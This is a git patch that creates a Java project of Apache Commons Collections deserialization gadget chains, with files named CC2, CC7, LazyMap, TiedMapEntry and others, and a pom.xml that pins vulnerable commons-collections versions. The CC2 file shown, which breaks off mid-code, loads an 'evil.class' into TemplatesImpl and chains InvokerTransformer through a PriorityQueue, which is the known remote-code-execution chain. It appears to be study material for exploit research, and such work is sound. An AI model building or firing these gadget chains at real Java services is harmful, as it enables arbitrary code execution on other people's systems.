From 966037f763310f811511e0720bfd5e171104a3fe Mon Sep 17 00:00:00 2001
From: hookdd <2508091109@qq.com>
Date: Wed, 16 Oct 2024 12:52:34 +0800
Subject: [PATCH] =?UTF-8?q?=E7=AC=AC=E4=B8=80=E6=AC=A1=E6=B5=8B=E8=AF=95?=
=?UTF-8?q?=E6=8F=90=E4=BA=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
pom.xml | 56 ++++++++++++++
src/main/java/cc/CC2.java | 43 +++++++++++
src/main/java/cc/CC7.java | 57 ++++++++++++++
.../java/cc/ConcurrentHashMap_equals.java | 49 ++++++++++++
src/main/java/cc/DefaultedMapcc.java | 65 ++++++++++++++++
src/main/java/cc/Flat3Map_equals.java | 32 ++++++++
src/main/java/cc/HashMap_toString.java | 42 +++++++++++
src/main/java/cc/LazyMapcc.java | 75 +++++++++++++++++++
src/main/java/cc/SerializableTest.java | 21 ++++++
src/main/java/cc/TiedMapEntry_equals.java | 70 +++++++++++++++++
src/main/java/cc/TiedMapEntry_hashCode.java | 63 ++++++++++++++++
src/main/java/cc/TreeBag_compare.java | 35 +++++++++
12 files changed, 608 insertions(+)
create mode 100644 pom.xml
create mode 100644 src/main/java/cc/CC2.java
create mode 100644 src/main/java/cc/CC7.java
create mode 100644 src/main/java/cc/ConcurrentHashMap_equals.java
create mode 100644 src/main/java/cc/DefaultedMapcc.java
create mode 100644 src/main/java/cc/Flat3Map_equals.java
create mode 100644 src/main/java/cc/HashMap_toString.java
create mode 100644 src/main/java/cc/LazyMapcc.java
create mode 100644 src/main/java/cc/SerializableTest.java
create mode 100644 src/main/java/cc/TiedMapEntry_equals.java
create mode 100644 src/main/java/cc/TiedMapEntry_hashCode.java
create mode 100644 src/main/java/cc/TreeBag_compare.java
diff --git a/pom.xml b/pom.xml
new file mode 100644
index 0000000..c5ce4ce
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,56 @@
+
+ 4.0.0
+ org.example
+ newCC
+ war
+ 1.0-SNAPSHOT
+ newCC Maven Webapp
+ http://maven.apache.org
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+ commons-collections
+ commons-collections
+ 3.1
+
+
+ commons-collections
+ commons-collections
+ 3.2.1
+
+
+ org.apache.commons
+ commons-collections4
+ 4.4
+
+
+ org.javassist
+ javassist
+ 3.19.0-GA
+
+
+ concurrent
+ concurrent
+ 1.3.4
+
+
+
+ newCC
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 8
+ 8
+
+
+
+
+
diff --git a/src/main/java/cc/CC2.java b/src/main/java/cc/CC2.java
new file mode 100644
index 0000000..2eaa0e3
--- /dev/null
+++ b/src/main/java/cc/CC2.java
@@ -0,0 +1,43 @@
+package cc;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections4.comparators.TransformingComparator;
+import org.apache.commons.collections4.functors.ConstantTransformer;
+
+import java.lang.reflect.Field;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Base64;
+import java.util.PriorityQueue;
+
+public class CC2 {
+ public static void main(String[] args) throws Exception {
+ TemplatesImpl templates = new TemplatesImpl();
+ Class templatesClass = templates.getClass();
+ Field fieldname = templatesClass.getDeclaredField("_name");
+ fieldname.setAccessible(true);
+ fieldname.set(templates, "aaa");
+ Field bytecodesclass = templatesClass.getDeclaredField("_bytecodes");
+ bytecodesclass.setAccessible(true);
+
+ byte[] bytes = Files.readAllBytes(Paths.get("E:\\seecode\\FristTest\\target\\classes\\CC\\evil.class"));
+ String encode = Base64.getEncoder().encodeToString(bytes);
+ byte[] code = Base64.getDecoder().decode(encode);
+ byte[][] codes = {code};
+ bytecodesclass.set(templates, codes);
+
+ InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
+ TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
+
+ PriorityQueue